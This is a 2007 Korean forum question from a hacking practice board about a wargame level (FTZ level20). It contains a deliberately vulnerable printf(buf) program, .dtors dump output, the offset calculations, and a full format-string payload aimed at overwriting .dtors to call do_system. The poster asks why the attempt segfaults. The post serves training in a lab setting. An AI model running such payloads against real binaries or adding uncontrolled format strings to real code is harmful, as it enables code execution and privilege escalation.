|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2595 [복사]
몇일만에 오네요.. ㅋㅋ
http://x82.inetcop.org/h0me/papers/FC_exploit/FC-remote_do_system.txt
http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system.txt
http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system2.txt
위 문서들을 보며... 실습하는 중입니다만...
telnet ftz.hacekrschool.org에서 테스트가 잘 안되어서 질문드립니다....
------------------------------------------
[level20@ftz in]$ cat printf.c
#include <stdio.h>
int main(int argc,char *argv[])
{
char buf[256];
strncpy(buf,argv[1],256-1);
printf(buf);
}
[level20@ftz in]$ gcc -o printf printf.c
[level20@ftz in]$ objdump -s -j .dtors printf
printf: file format elf32-i386q
Contents of section .dtors:
8049530 ffffffff 00000000 ........
[level20@ftz in]$
"\x34\x95\x04\x08\x36\x95\x04\x08"
"\x38\x95\x04\x08\x3a\x95\x04\x08"
Dump of assembler code for function do_system:
0x400644b0 <do_system+0>: push %ebp
0x400644b1 <do_system+1>: mov %esp,%ebp
0x44b0=17584 / 17584-16=17568
0x14006=81926 / 81926-17584=64342
0x6873 > 0x16873=92275 / 92275-81926=10349
0x0000 > 0x20000=131072 / 131072-92275=38797
%17568x%4$n
%64342x%5$n
%10349x%6$n
%38797x%7$n
[level20@ftz in]$ ./printf `python -c 'print "\x34\x95\x04\x08\x36\x95\x04\x08"+"\x38\x95\x04\x08\x3a\x95\x04\x08"+"%17568x%4$n%64342x%5$n%10349x%6$n%38797x%7$n"'`
...... ...... sh: -c: option requires an argument
세그멘테이션 오류
[level20@ftz in]$
-----------------------------------------
gdb 상에서,
x/x $ebp+8 을 해보면... 0x00000000값이 들어가 있네요...
0x08049538이 들어가야 하는데... 왜 그런걸까요?
------------------------------------------
[level20@ftz in]$ cat test.c
int main()
{
system("sh");
}
위 예제로 테스트해본결과...
br *do_system+8 까지 실행한후
x/x $ebp+8 의 값은, "sh"문자열을 정상적으로 가르키고 있는데 말입니다...
휴... 왠만하면.. 스스로 해결해보려고 했는데...
답이 안나오네요... 흐음..
조언 부탁드립니다... 굽신굽신. ^^; |
Hit : 3697 Date : 2007/12/05 11:31
|
2844, 
6/143 
